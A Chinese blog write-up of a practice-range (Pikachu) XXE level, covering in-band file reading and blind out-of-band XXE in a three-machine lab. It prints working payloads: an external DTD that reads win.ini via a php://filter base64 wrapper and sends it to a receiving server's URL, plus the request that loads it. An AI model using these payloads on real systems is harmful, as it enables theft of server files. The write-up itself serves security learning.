pikache靶场通关——XXE


前言

关卡样式:
在这里插入图片描述


一、有返回显示XXE

1、在输入框输入随机数据,抓包

输入123,查看结果:
在这里插入图片描述
输入123后,显示上图数据,说明这里输入的XML格式错误

查看抓取的数据包:
在这里插入图片描述
抓到的数据包如上

2、在BP数据包和靶场中各尝试使用正确的XML格式重新输入

输入的XML格式:

<?xml version="1.0"?>
<!DOCTYPE foo[
<!ENTITY xxe "正确的XXE输入">]>
<foo>&xxe;</foo>

在BP数据包中修改后重发送
在这里插入图片描述
发现还是报错。

在靶场中输入:
在这里插入图片描述
这里发现竟然输入正确了。

这其中有什么区别呢?使用BP抓包看一看
在这里插入图片描述
这里发现被URL编码了
在这里插入图片描述

3、使用BP进行URL编码,利用XXE来读取系统文件

在这里插入图片描述
在这里插入图片描述
这里就成功读取到指定的文件内容了。


二、无回显XXE

1、模拟使用的机器

这里需要使用3台机器模拟:

  • 攻击机:192.168.43.130
  • 靶机:192.168.43.131
  • 模拟外网接收服务器:192.168.43.129

2、修改代码实现靶场无回显

2.1、修改靶场代码,让其实现无回显

在这里插入图片描述

2.2、在靶场输入数据,抓包测试

在这里插入图片描述
在这里插入图片描述
这里地区实现无回显了。

3、开始复现

3.1、利用DNSLog来测试XXE是否存在

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

返回DNSLog查看
在这里插入图片描述
的确接收到了,这就说明XXE是存在的。

3.2、创建一个恶意dtd文档,构造读取方式

在这里插入图片描述
注意:这里的IP地址是写模拟外网接收服务器的IP地址
POC:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/windows/win.ini">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.43.129?c=%file;'>">

接着就把这个文件改成dtd格式,放置到模拟外网接收服务器中

在这里插入图片描述

3.3、在接受服务器开启server服务

开启位置是放置dtd的文件夹
在这里插入图片描述

3.4、在BP中构造POC重发送

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在接受服务器就看到上图的信息,把“c=”后面的数据复制出来,进行BASE64解码
在这里插入图片描述
解码后就得到我们想得到的信息。

POC:

<?xml version="1.0"?>
<!DOCTYPE foo [
	<!ENTITY % xxe SYSTEM "http://192.168.43.129/123.dtd">
	%xxe;%int;%send;
]>

注意:上面需要在xxe实体前加上%才能引用,还有不要忘记分号(;)

3.5、POC讲解

很多人会疑问:%xxe;%int;%send;究竟是什么意思?

其实这里第一个%xxe;就是指向dtd文件
在这里插入图片描述

第二个%int;就是指向构造的XML语句
在这里插入图片描述

第三个send;就是指向我们要读取的目标文件
在这里插入图片描述
在这里插入图片描述


  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值